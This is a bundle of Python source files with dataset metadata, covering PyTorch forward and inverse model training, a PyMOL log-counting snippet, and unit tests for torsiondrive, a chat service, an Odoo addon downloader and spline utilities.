next_states = next_states.float() true_actions = true_actions.float() combined_states = torch.cat((start_states, next_states), dim=1) pred_actions = self.model(combined_states) valid_loss_sum += self.criterion(pred_actions, true_actions) valid_loss = valid_loss_sum / len(valid_dl) loss_list += losses_for_given_epoch avg_loss_list.append(np.mean(losses_for_given_epoch)) valid_loss_list.append(valid_loss) logger.info(f'Completed epoch: {epoch}/{num_epochs}') logger.info(f'Avg loss this epoch: {np.mean(losses_for_given_epoch)}') logger.info(f'Validation loss this epoch: {valid_loss}') return loss_list, avg_loss_list, valid_loss_list class ForwardModel(nn.Module): """ Forward model predicts future state given current state and action """ def __init__(self, start_state_dims, next_state_dims, action_dims, latent_var_1=64, latent_var_2=32, criterion=nn.MSELoss(), lr=4e-4, seed=0): torch.manual_seed(seed) super(ForwardModel, self).__init__() self.state_dims = start_state_dims + action_dims self.model = nn.Sequential( nn.Linear(self.state_dims, latent_var_1), nn.ReLU(), nn.Linear(latent_var_1, latent_var_2), nn.ReLU(), nn.Linear(latent_var_2, next_state_dims) ) self.criterion = criterion self.optimizer = optim.Adam(self.model.parameters(), lr=lr) def forward(self, combined_input): next_states = self.model(combined_input) return next_states def train_and_validate(self, train_dl, valid_dl, num_epochs): loss_list = [] avg_loss_list = [] valid_loss_list = [] logger.info("Starting with epoch 0") for epoch in range(num_epochs): losses_for_given_epoch = [] self.model.train() for start_states, next_states, true_actions in train_dl: start_states = start_states.float() next_states = next_states.float() true_actions = true_actions.float() self.optimizer.zero_grad() combined_input = torch.cat((start_states, true_actions), dim=1) pred_states = self.model(combined_input) loss = self.criterion(pred_states, next_states) loss.backward() self.optimizer.step() losses_for_given_epoch.append(loss.item()) self.model.eval() with torch.no_grad(): valid_loss_sum = 0 for start_states, next_states, true_actions in valid_dl: start_states = start_states.float() next_states = next_states.float() true_actions = true_actions.float() combined_input = torch.cat((start_states, true_actions), dim=1) pred_states = self.model(combined_input) valid_loss_sum += self.criterion(pred_states, next_states) valid_loss = valid_loss_sum / len(valid_dl) loss_list += losses_for_given_epoch avg_loss_list.append(np.mean(losses_for_given_epoch)) valid_loss_list.append(valid_loss) logger.info(f'Completed epoch: {epoch}/{num_epochs}') logger.info(f'Avg loss this epoch: {np.mean(losses_for_given_epoch)}') logger.info(f'Validation loss this epoch: {valid_loss}') return loss_list, avg_loss_list, valid_loss_list

37.269939

92

0.614979

749

6,075

4.663551

0.145527

0.041225

0.054967

0.054395

0.865445

0.848841

0.800458

0.780418

0.758088

0

0.007938

0.294979

6,075

163

93

37.269939

0.807611

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0

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0

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0.04878

false

0

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0.170732

0

null

0

1

0

1

0

null

0

7

ea2c5580621c8f527885096a21fe9aa165b0519f

691

py

Python

Jupyter/cntlogs.py

MooersLab/jupyterlabpymolpysnipsplus

b886750d63372434df53d4d6d7cdad6cb02ae4e7

[ "MIT" ]

null

Jupyter/cntlogs.py

MooersLab/jupyterlabpymolpysnipsplus

b886750d63372434df53d4d6d7cdad6cb02ae4e7

[ "MIT" ]

null

Jupyter/cntlogs.py

MooersLab/jupyterlabpymolpysnipsplus

b886750d63372434df53d4d6d7cdad6cb02ae4e7

[ "MIT" ]

null

# Description: Count number of *.log files in current directory. # Source: placeHolder """ cmd.do('print("Count the number of log image files in current directory.");') cmd.do('print("Usage: cntlogs");') cmd.do('myPath = os.getcwd();') cmd.do('logCounter = len(glob.glob1(myPath,"*.log"));') cmd.do('print("Number of number of log image files in the current directory: ", logCounter);') """ cmd.do('print("Count the number of log image files in current directory.");') cmd.do('print("Usage: cntlogs");') cmd.do('myPath = os.getcwd();') cmd.do('logCounter = len(glob.glob1(myPath,"*.log"));') cmd.do('print("Number of number of log image files in the current directory: ", logCounter);')

40.647059

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103

691

4.61165

0.242718

0.105263

0.126316

0.134737

0.858947

0

0.003279

0.117221

691

16

95

43.1875

0.77541

0.551375

0

0.800664

0.106312

0

1

0

true

0

0.6

0

null

0

1

0

1

0

null

0

1

0

1

0

9

ea58f6e7def1d143596a49baf4ddf5dcbb67c597

176

py

Python

stochastic/processes/__init__.py

zaczw/stochastic

7de6ec2f9050120adfcffeebc94bfc17ec916150

[ "MIT" ]

268

2018-01-17T18:45:20.000Z

2022-03-28T06:05:30.000Z

stochastic/processes/__init__.py

zaczw/stochastic

7de6ec2f9050120adfcffeebc94bfc17ec916150

[ "MIT" ]

42

2018-07-11T02:17:43.000Z

2021-11-27T03:27:32.000Z

stochastic/processes/__init__.py

zaczw/stochastic

7de6ec2f9050120adfcffeebc94bfc17ec916150

[ "MIT" ]

56

2018-02-20T09:32:50.000Z

2022-02-15T15:39:37.000Z

from stochastic.processes.continuous import * from stochastic.processes.diffusion import * from stochastic.processes.discrete import * from stochastic.processes.noise import *

35.2

45

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176

7.4

0.4

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0.621622

0.587838

0

0.090909

176

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0.925

0

1

0

true

0

1

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1

0

1

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null

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0

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0

null

0

1

0

1

0

1

0

8

5780e1fd935276aab5a9a1d63b4738644486070d

6,402

py

Python

torsiondrive/tests/test_launch.py

dotsdl/torsiondrive

b6b9530801bdd20f2c8b52051d1ffb1453080e04

[ "MIT" ]

15

2018-10-11T13:08:57.000Z

2022-03-16T03:25:20.000Z

torsiondrive/tests/test_launch.py

dotsdl/torsiondrive

b6b9530801bdd20f2c8b52051d1ffb1453080e04

[ "MIT" ]

47

2018-08-28T06:13:11.000Z

2022-01-30T20:35:15.000Z

torsiondrive/tests/test_launch.py

dotsdl/torsiondrive

b6b9530801bdd20f2c8b52051d1ffb1453080e04

[ "MIT" ]

12

2019-02-01T23:38:27.000Z

2022-03-18T11:54:26.000Z

""" Unit and regression test for the torsiondrive.launch module """ import pytest from torsiondrive.launch import load_dihedralfile, create_engine def test_load_dihedralfile_basic(tmpdir): tmpdir.chdir() fn = 'dihedrals.txt' # basic test loading one dihedral dihedral_str = ''' #i j k l 1 2 3 4 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[0,1,2,3]] assert dihedral_ranges == [] # basic test loading 2 dihedrals dihedral_str = ''' #i j k l 1 2 3 4 2 3 4 5 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[0,1,2,3], [1,2,3,4]] assert dihedral_ranges == [] # test with wrong number of index dihedral_str = ''' #i j k l 1 2 3 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(ValueError): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) # test wrong index 0 when default is one-based dihedral_str = ''' #i j k l 0 1 2 3 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(AssertionError): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) def test_load_dihedralfile_0_1_numbering(tmpdir): tmpdir.chdir() fn = 'dihedrals.txt' # test loading with zero_based_numbering option dihedral_str = ''' #i j k l 1 2 3 4 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn, zero_based_numbering=True) assert dihedral_idxs == [[1,2,3,4]] assert dihedral_ranges == [] # test zero_based_numbering flag in file dihedral_str = ''' # zero_based_numbering #i j k l 1 2 3 4 2 3 4 5 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[1,2,3,4], [2,3,4,5]] assert dihedral_ranges == [] # test with conflict options dihedral_str = ''' # zero_based_numbering # one_based_numbering #i j k l 1 2 3 4 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(ValueError): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) # test with conflict options dihedral_str = ''' # one_based_numbering # zero_based_numbering #i j k l 1 2 3 4 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(ValueError): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) # test with conflict options dihedral_str = ''' # one_based_numbering #i j k l 1 2 3 4 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(ValueError): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn, zero_based_numbering=True) def test_load_dihedralfile_limited_ranges(tmpdir): tmpdir.chdir() fn = 'dihedrals.txt' # test basic loading with limited dihedral ranges dihedral_str = ''' #i j k l range_low range_hi 1 2 3 4 -120 120 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[0,1,2,3]] assert dihedral_ranges == [[-120, 120]] # test loading 2 dihedrals with limited dihedral ranges dihedral_str = ''' #i j k l range_low range_hi 1 2 3 4 -120 120 2 3 4 5 -90 180 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[0,1,2,3], [1,2,3,4]] assert dihedral_ranges == [[-120, 120], [-90, 180]] # test loading dihedrals with split dihedral ranges dihedral_str = ''' #i j k l range_low range_hi 1 2 3 4 -120 120 2 3 4 5 120 240 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[0,1,2,3], [1,2,3,4]] assert dihedral_ranges == [[-120, 120], [120, 240]] # test loading dihedrals with default ranges dihedral_str = ''' #i j k l range_lo range_hi 1 2 3 4 -120 120 2 3 4 5 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[0,1,2,3], [1,2,3,4]] assert dihedral_ranges == [[-120, 120], [-180, 180]] # test loading dihedrals with default ranges dihedral_str = ''' #i j k l range_lo range_hi 1 2 3 4 -120 120 2 3 4 5 3 4 5 6 -90 150 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) assert dihedral_idxs == [[0,1,2,3], [1,2,3,4], [2,3,4,5]] assert dihedral_ranges == [[-120, 120], [-180, 180], [-90, 150]] # test loading dihedrals with wrong ranges low>=high dihedral_str = ''' #i j k l range_lo range_hi 1 2 3 4 -120 120 2 3 4 5 120 120 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(AssertionError, match='range'): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) # test loading dihedrals with wrong ranges low<-180 dihedral_str = ''' #i j k l range_lo range_hi 1 2 3 4 -200 120 2 3 4 5 120 240 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(AssertionError, match='range'): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) # test loading dihedrals with wrong ranges high>360 dihedral_str = ''' #i j k l range_lo range_hi 1 2 3 4 -120 120 2 3 4 5 120 361 ''' with open(fn, 'w') as fp: fp.write(dihedral_str) with pytest.raises(AssertionError, match='range'): dihedral_idxs, dihedral_ranges = load_dihedralfile(fn) def test_create_engine(tmpdir): """Test making an OpenMM engine with native optimizer, expect AssertionError""" with pytest.raises(AssertionError): engine = create_engine('openmm', native_opt=True)

31.382353

89

0.615589

950

6,402

3.983158

0.094737

0.022199

0.026163

0.023256

0.838795

0.821353

0.800211

0.761364

0.752907

0.733615

0

0.069277

0.273977

6,402

203

90

31.536946

0.744836

0.129491

0

0.874286

0

0.227675

0

0.131429

1

0.022857

false

0

0.011429

0

0.034286

0

null

0

1

0

1

0

null

0

7

57b5773ef813265c141aa42b7b3dbac7a02b2261

2,850

py

Python

test/functional/test_only_unread_groups.py

thenetcircle/dino-service

90f90e0b21ba920506dc8fc44caf69d5bed9fb6a

[ "MIT" ]

null

test/functional/test_only_unread_groups.py

thenetcircle/dino-service

90f90e0b21ba920506dc8fc44caf69d5bed9fb6a

[ "MIT" ]

4

2021-05-24T04:31:34.000Z

2021-06-28T03:38:56.000Z

test/functional/test_only_unread_groups.py

thenetcircle/dino-service

90f90e0b21ba920506dc8fc44caf69d5bed9fb6a

[ "MIT" ]

null

from test.base import BaseTest from test.functional.base_functional import BaseServerRestApi class TestOnlyUnreadGroups(BaseServerRestApi): def test_only_unread(self): self.assert_groups_for_user(0) self.send_1v1_message(user_id=BaseTest.USER_ID, receiver_id=8888) self.send_1v1_message(user_id=BaseTest.USER_ID, receiver_id=9999) self.send_1v1_message(user_id=9999, receiver_id=BaseTest.USER_ID) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=False, only_unread=False) self.assertEqual(2, len(groups)) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=False, only_unread=True) self.assertEqual(1, len(groups)) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=False) self.assertEqual(2, len(groups)) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=True) self.assertEqual(1, len(groups)) def test_hide_only_unread(self): self.assert_groups_for_user(0) group_message = self.send_1v1_message(user_id=BaseTest.USER_ID, receiver_id=8888) group_id = group_message["group_id"] self.send_1v1_message(user_id=BaseTest.USER_ID, receiver_id=9999) self.send_1v1_message(user_id=8888, receiver_id=BaseTest.USER_ID) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=True) self.assertEqual(1, len(groups)) self.update_hide_group_for(group_id, hide=True, user_id=BaseTest.USER_ID) self.assert_hidden_for_user(True, group_id, user_id=BaseTest.USER_ID) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=True) self.assertEqual(0, len(groups)) self.histories_for(group_id, user_id=BaseTest.USER_ID) self.assert_hidden_for_user(False, group_id, user_id=BaseTest.USER_ID) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=False) self.assertEqual(2, len(groups)) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=True) self.assertEqual(0, len(groups)) self.send_1v1_message(user_id=8888, receiver_id=BaseTest.USER_ID) self.assert_hidden_for_user(False, group_id, user_id=BaseTest.USER_ID) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=True) self.assertEqual(1, len(groups)) self.update_hide_group_for(group_id, hide=True, user_id=BaseTest.USER_ID) self.assert_hidden_for_user(True, group_id, user_id=BaseTest.USER_ID) groups = self.groups_for_user(user_id=BaseTest.USER_ID, count_unread=True, only_unread=True) self.assertEqual(0, len(groups))

46.721311

102

0.74386

430

2,850

4.57907

0.086047

0.146267

0.170645

0.195023

0.900965

0.89741

0.887252

0.848654

0

0.022472

0.156842

2,850

60

103

47.5

0.796921

0

0.714286

0

0.002807

0

0.380952

1

0.047619

false

0

0.047619

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0.119048

0

null

0

1

0

1

0

null

0

8

17cccf2516a78bd09f3d71ef1216c220b07a26af

5,792

py

Python

src/compas/datastructures/_mixins/filters.py

philianeles/compas

129a5a7e9d8832495d2bbee6ce7c6463ab50f2d1

[ "MIT" ]

null

src/compas/datastructures/_mixins/filters.py

philianeles/compas

129a5a7e9d8832495d2bbee6ce7c6463ab50f2d1

[ "MIT" ]

null

src/compas/datastructures/_mixins/filters.py

philianeles/compas

129a5a7e9d8832495d2bbee6ce7c6463ab50f2d1

[ "MIT" ]

null

from __future__ import print_function from __future__ import absolute_import from __future__ import division __all__ = [ 'VertexFilter', 'EdgeFilter', 'FaceFilter', ] class VertexFilter(object): def vertices_where(self, conditions, data=False): """Get vertices for which a certain condition or set of conditions is true. Parameters ---------- conditions : dict A set of conditions in the form of key-value pairs. The keys should be attribute names. The values can be attribute values or ranges of attribute values in the form of min/max pairs. data : bool, optional Yield the vertices and their data attributes. Default is ``False``. Yields ------ key: hashable The next vertex that matches the condition. 2-tuple The next vertex and its attributes, if ``data=True``. """ for key, attr in self.vertices(True): is_match = True for name, value in conditions.items(): method = getattr(self, name, None) if callable(method): val = method(key) if isinstance(value, (tuple, list)): minval, maxval = value if val < minval or val > maxval: is_match = False break else: if value != val: is_match = False break else: if name not in attr: is_match = False break if isinstance(value, (tuple, list)): minval, maxval = value if attr[name] < minval or attr[name] > maxval: is_match = False break else: if value != attr[name]: is_match = False break if is_match: if data: yield key, attr else: yield key class EdgeFilter(object): def edges_where(self, conditions, data=False): """Get edges for which a certain condition or set of conditions is true. Parameters ---------- conditions : dict A set of conditions in the form of key-value pairs. The keys should be attribute names. The values can be attribute values or ranges of attribute values in the form of min/max pairs. Returns ------- list A list of edge keys that satisfy the condition(s). """ for u, v, attr in self.edges(True): is_match = True for name, value in conditions.items(): method = getattr(self, name, None) if callable(method): val = method(u, v) if isinstance(value, (tuple, list)): minval, maxval = value if val < minval or val > maxval: is_match = False break else: if value != val: is_match = False break else: if name not in attr: is_match = False break if isinstance(value, (tuple, list)): minval, maxval = value if attr[name] < minval or attr[name] > maxval: is_match = False break else: if value != attr[name]: is_match = False break if is_match: if data: yield u, v, attr else: yield u, v class FaceFilter(object): def faces_where(self, conditions, data=False): for fkey, attr in self.faces(True): is_match = True for name, value in conditions.items(): method = getattr(self, name, None) if callable(method): val = method(fkey) if isinstance(value, (tuple, list)): minval, maxval = value if val < minval or val > maxval: is_match = False break else: if value != val: is_match = False break else: if name not in attr: is_match = False break if isinstance(value, (tuple, list)): minval, maxval = value if attr[name] < minval or attr[name] > maxval: is_match = False break else: if value != attr[name]: is_match = False break if is_match: if data: yield fkey, attr else: yield fkey # ============================================================================== # Main # ============================================================================== if __name__ == "__main__": pass

29.702564

83

0.403315

514

5,792

4.447471

0.180934

0.064304

0.07874

0.111549

0.742345

0.730096

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0

0.000353

0.510359

5,792

194

84

29.85567

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0.189227

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0.008963

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false

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0.078261

0.008696

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null

0

1

0

1

0

1

0

null

0

7

aa372bcc97f282a341e70035b04fff00322e29f4

8,029

py

Python

auto_addons/tests.py

jmartinezespza/odoo-docker

288064e879c2a3910197c8b91473358e0bb25928

[ "MIT" ]

null

auto_addons/tests.py

jmartinezespza/odoo-docker

288064e879c2a3910197c8b91473358e0bb25928

[ "MIT" ]

null

auto_addons/tests.py

jmartinezespza/odoo-docker

288064e879c2a3910197c8b91473358e0bb25928

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Copyright 2015 Elico Corp # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). import unittest from addons import * class RepoTest(unittest.TestCase): def test_check_is_url(self): remote_url = 'connector' self.repo = Repo(remote_url) self.assertTrue(self.repo._check_is_url('https://github.com')) self.assertTrue(self.repo._check_is_url('http://github.com')) self.assertFalse(self.repo._check_is_url('ttps://github.com')) def test_parse_oca_repo(self): remote_url = 'connector' self.repo = Repo(remote_url) self.repo._parse_organization_repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.folder_name, 'connector') def test_parse_organization_and_repo(self): remote_url = 'OCA/connector' self.repo = Repo(remote_url) self.repo._parse_organization_repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.folder_name, 'connector') def test_parse_url(self): remote_url = 'https://github.com/OCA/connector' self.repo = Repo(remote_url) self.repo._parse_url(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.folder_name, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') def test_path(self): remote_url = 'connector' self.repo = Repo(remote_url) self.assertEquals(self.repo.path, '%sconnector' % (EXTRA_ADDONS_PATH, )) def test_repo_oca_repo(self): remote_url = 'connector' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector') self.assertEquals(self.repo.branch, None) self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector' % (EXTRA_ADDONS_PATH, )) def test_repo_organization_and_repo(self): remote_url = 'OCA/connector' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector') self.assertEquals(self.repo.branch, None) self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector' % (EXTRA_ADDONS_PATH, )) def test_repo_url(self): remote_url = 'https://github.com/OCA/connector' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector') self.assertEquals(self.repo.branch, None) self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector' % (EXTRA_ADDONS_PATH, )) def test_repo_oca_repo_and_branch(self): remote_url = 'connector 8.0' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector') self.assertEquals(self.repo.branch, '8.0') self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector' % (EXTRA_ADDONS_PATH, )) def test_repo_organization_and_repo_and_branch(self): remote_url = 'OCA/connector 8.0' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector') self.assertEquals(self.repo.branch, '8.0') self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector' % (EXTRA_ADDONS_PATH, )) def test_repo_url_and_branch(self): remote_url = 'https://github.com/OCA/connector 8.0' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector') self.assertEquals(self.repo.branch, '8.0') self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector' % (EXTRA_ADDONS_PATH, )) def test_repo_rename_and_url(self): remote_url = 'connector_rename https://github.com/OCA/connector' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector_rename') self.assertEquals(self.repo.branch, None) self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector_rename' % (EXTRA_ADDONS_PATH, )) def test_repo_rename_and_url_and_branch(self): remote_url = 'connector_rename https://github.com/OCA/connector 8.0' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'connector_rename') self.assertEquals(self.repo.branch, '8.0') self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'connector') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%sconnector_rename' % (EXTRA_ADDONS_PATH, )) def test_repo_rename_and_url_and_branch_new(self): remote_url = 'account-financial-reporting https://github.com/OCA/account-financial-reporting 8.0' self.repo = Repo(remote_url) self.assertEquals(self.repo.remote_url, remote_url) self.assertEquals(self.repo.folder_name, 'account-financial-reporting') self.assertEquals(self.repo.branch, '8.0') self.assertEquals(self.repo.organization, DEFAULT_ORGANIZATION) self.assertEquals(self.repo.repository, 'account-financial-reporting') self.assertEquals(self.repo.git_repo_host, 'github.com') self.assertEquals(self.repo.path, '%saccount-financial-reporting' % (EXTRA_ADDONS_PATH, )) def test_download_cmd(self): repo = Repo('Elico-Corp/odoo') self.assertEqual( ['git', 'clone', 'https://github.com/Elico-Corp/odoo.git', '/mnt/data/additional_addons/odoo'], repo.download_cmd) def test_download_cmd_with_branch(self): repo = Repo('Elico-Corp/odoo 8.0') self.assertEqual( ['git', 'clone', '-b', '8.0', 'https://github.com/Elico-Corp/odoo.git', '/mnt/data/additional_addons/odoo'], repo.download_cmd) if __name__ == '__main__': unittest.main()

48.077844

105

0.692863

987

8,029

5.419453

0.074975

0.148065

0.287904

0.345485

0.916059

0.90802

0.888764

0.867639

0.865208

0.862965

0

0.004727

0.183211

8,029

166

106

48.36747

0.810918

0.013576

0

0.736111

0

0.006944

0.145781

0.021981

0

0.569444

1

0.111111

false

0

0.013889

0

0.131944

0

null

0

1

0

1

0

null

0

1

0

10

a4d7d60fb8beb501b8ba03ee0c2e9f84dc57af38

680

py

Python

tests/unit/test_rules_visitcount.py

torchbox/wagtail-personalisation

fdc2b971943cd24dca2d325604e35b56b5858d0d

[ "MIT" ]

1

2020-04-25T06:23:02.000Z

tests/unit/test_rules_visitcount.py

torchbox/wagtail-personalisation

fdc2b971943cd24dca2d325604e35b56b5858d0d

[ "MIT" ]

3

2017-10-20T11:29:42.000Z

2019-09-26T07:38:05.000Z

tests/unit/test_rules_visitcount.py

torchbox/wagtail-personalisation

fdc2b971943cd24dca2d325604e35b56b5858d0d

[ "MIT" ]

1

2017-11-09T08:30:28.000Z

import pytest @pytest.mark.django_db def test_visit_count(site, client): response = client.get('/') assert response.status_code == 200 visit_count = client.session['visit_count'] assert visit_count[0]['path'] == '/' assert visit_count[0]['count'] == 1 response = client.get('/') assert response.status_code == 200 visit_count = client.session['visit_count'] assert visit_count[0]['path'] == '/' assert visit_count[0]['count'] == 2 response = client.get('/page-1/') assert response.status_code == 200 visit_count = client.session['visit_count'] assert visit_count[0]['count'] == 2 assert visit_count[1]['count'] == 1

29.565217

47

0.654412

90

680

4.744444

0.255556

0.30445

0.224824

0.199063

0.758782

0.742389

0

0.035971

0.182353

680

22

48

30.909091

0.732014

0

0.666667

0

0.107353

0

0.5

1

0.055556

false

0

0.055556

0

0.111111

0

null

1

0

1

0

null

0

1

0

9

102e73a682e3f41acc7ebd5562cc5604ffd36615

90

py

Python

conan/tools/qbs/__init__.py

Erlkoenig90/conan

da8de69618d75da5ac7d77e0eb7a38ee4d564eb9

[ "MIT" ]

null

conan/tools/qbs/__init__.py

Erlkoenig90/conan

da8de69618d75da5ac7d77e0eb7a38ee4d564eb9

[ "MIT" ]

null

conan/tools/qbs/__init__.py

Erlkoenig90/conan

da8de69618d75da5ac7d77e0eb7a38ee4d564eb9

[ "MIT" ]

null

from conan.tools.qbs.qbstoolchain import QbsToolchain from conan.tools.qbs.qbs import Qbs

30

53

0.844444

14

90

5.428571

0.428571

0.236842

0.368421

0.447368

0

0.088889

90

2

54

45

0.926829

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

107a68f8e23fb7c1bfcb5d122e2cfd58856b79cd

15,529

py

Python

tests/test_SplineUsefulFunctions.py

carlos-adir/FEM-Nurbs

0c63d736fe6b49b0aec3f0a63573548eae8b65f2

[ "MIT" ]

null

tests/test_SplineUsefulFunctions.py

carlos-adir/FEM-Nurbs

0c63d736fe6b49b0aec3f0a63573548eae8b65f2

[ "MIT" ]

null

tests/test_SplineUsefulFunctions.py

carlos-adir/FEM-Nurbs

0c63d736fe6b49b0aec3f0a63573548eae8b65f2

[ "MIT" ]

null

import pytest # import unittest import numpy as np import femnurbs.SplineUsefulFunctions as SUF def test_isValidU(): with pytest.raises(TypeError): SUF.isValidU() assert SUF.isValidU(0) is False assert SUF.isValidU(1.2) is False assert SUF.isValidU({}) is False assert SUF.isValidU(-1) is False assert SUF.isValidU({1: 1}) is False assert SUF.isValidU([0, 0, 0, 1, 1]) is False assert SUF.isValidU([0, 0, 1, 1, 1, ]) is False assert SUF.isValidU([0, 0, 0, 0, 1, 1, 1]) is False assert SUF.isValidU([0, 0, 0, 1, 1, 1, 1]) is False assert SUF.isValidU([-1, -1, 1, 1]) is False assert SUF.isValidU([0, 0, 2, 2]) is False assert SUF.isValidU([0, 0, 0.8, 0.2, 1, 1]) is False assert SUF.isValidU([0, 0, 0, 1, 0.5, 1, 1]) is False assert SUF.isValidU([0, 0, 1, 1]) is True assert SUF.isValidU([0, 0, 0, 1, 1, 1]) is True assert SUF.isValidU([0, 0, 0, 0, 1, 1, 1, 1]) is True assert SUF.isValidU([0, 0, 0.2, 0.8, 1, 1]) is True assert SUF.isValidU([0, 0, 0, 0.5, 1, 1, 1]) is True assert SUF.isValidU([0, 0, 0.1, 0.5, 0.9, 1, 1]) is True assert SUF.isValidU([0, 0, 0.5, 0.5, 1, 1]) is True assert SUF.isValidU([0, 0, 0.5, 0.5, 0.5, 1, 1]) is False def test_UBezier(): for p in range(1, 10): assert SUF.isValidU(SUF.UBezier(p=p)) is True Ugood = np.array([0, 0, 1, 1]) Utest = SUF.UBezier(p=1) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 1, 1, 1]) Utest = SUF.UBezier(p=2) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0, 0, 1, 1, 1, 1]) Utest = SUF.UBezier(p=3) np.testing.assert_almost_equal(Ugood, Utest) def test_UUniform(): for p in range(1, 10): for n in range(p + 1, 11): assert SUF.isValidU(SUF.UUniform(p=p, n=n)) is True Ugood = np.array([0, 0, 1, 1]) Utest = SUF.UUniform(p=1, n=2) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0.5, 1, 1]) Utest = SUF.UUniform(p=1, n=3) np.testing.assert_almost_equal(Ugood, Utest) Ugood = np.array([0, 0, 0.25, 0.5, 0.75, 1, 1]) Utest = SUF.UUniform(p=1, n=5) 